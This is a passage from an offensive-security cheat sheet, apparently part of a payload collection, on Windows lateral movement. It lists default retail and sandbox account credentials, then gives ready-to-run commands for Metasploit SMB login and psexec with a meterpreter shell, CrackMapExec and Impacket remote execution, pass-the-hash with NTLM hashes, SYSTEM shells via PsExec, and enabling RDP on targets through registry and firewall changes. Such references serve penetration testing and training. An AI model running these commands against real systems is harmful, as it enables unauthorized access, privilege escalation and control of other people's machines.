Retail Credential Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289) when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin ```powershell Username: RetailAdmin Password: trs10 ``` ### TIP 3 - Sandbox Credential - WDAGUtilityAccount WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608) Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard ```powershell \\windowssandbox Username: wdagutilityaccount Password: pw123 ``` ## Metasploit ### Metasploit - SMB ```c use auxiliary/scanner/smb/smb_login set SMBDomain DOMAIN set SMBUser username set SMBPass password services -p 445 -R run creds ``` ### Metasploit - Psexec Note: the password can be replaced by a hash to execute a `pass the hash` attack. ```c use exploit/windows/smb/psexec set RHOST 10.2.0.3 set SMBUser username set SMBPass password set PAYLOAD windows/meterpreter/bind_tcp run shell ``` ## Crackmapexec ```python git clone https://github.com/byt3bl33d3r/CrackMapExec.github python crackmapexec.py 10.9.122.0/25 -d DOMAIN -u username -p password python crackmapexec.py 10.10.10.10 -d DOMAIN -u username -p password -x whoami # pass the hash cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth ``` ## Winexe Integrated to Kali ```python winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe ``` ## Psexec.py / Smbexec.py / Wmiexec.py from Impacket ```python git clone https://github.com/CoreSecurity/impacket.git python psexec.py DOMAIN/username:password@10.10.10.10 python smbexec.py DOMAIN/username:password@10.10.10.10 python wmiexec.py DOMAIN/username:password@10.10.10.10 # psexec.exe -s cmd # switch admin user to NT Authority/System ``` ## PsExec - Sysinternal from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) ```powershell PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s # get System shell ``` ## RDP Remote Desktop Protocol ```powershell python rdpcheck.py DOMAIN/username:password@10.10.10.10 rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10 # -g : the screen will take up 70% of your actual screen size # -r disk:share : sharing a local folder during a remote desktop session ``` Note: you may need to enable it with the following command ```powershell reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00000000 /f netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable ``` or with psexec(sysinternals) ```powershell psexec \\machinename reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 ``` or with crackmapexec ```powershell crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable ``` or with Metasploit ```powershell run getgui -u admin -p 1234 ``` Then log in using xfreerdp ```powershell xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+ xfreerd /u:runner /v:10.0.0.1 # password will be asked ``` ## Netuse Windows only ```powershell net use \\ordws01.cscou.lab /user:DOMAIN\username password C$ ``` ## Runas ```powershell runas /netonly /user:DOMAIN\username "cmd.exe" runas /noprofil /netonly /user:DOMAIN\username cmd.exe ``` ## References -
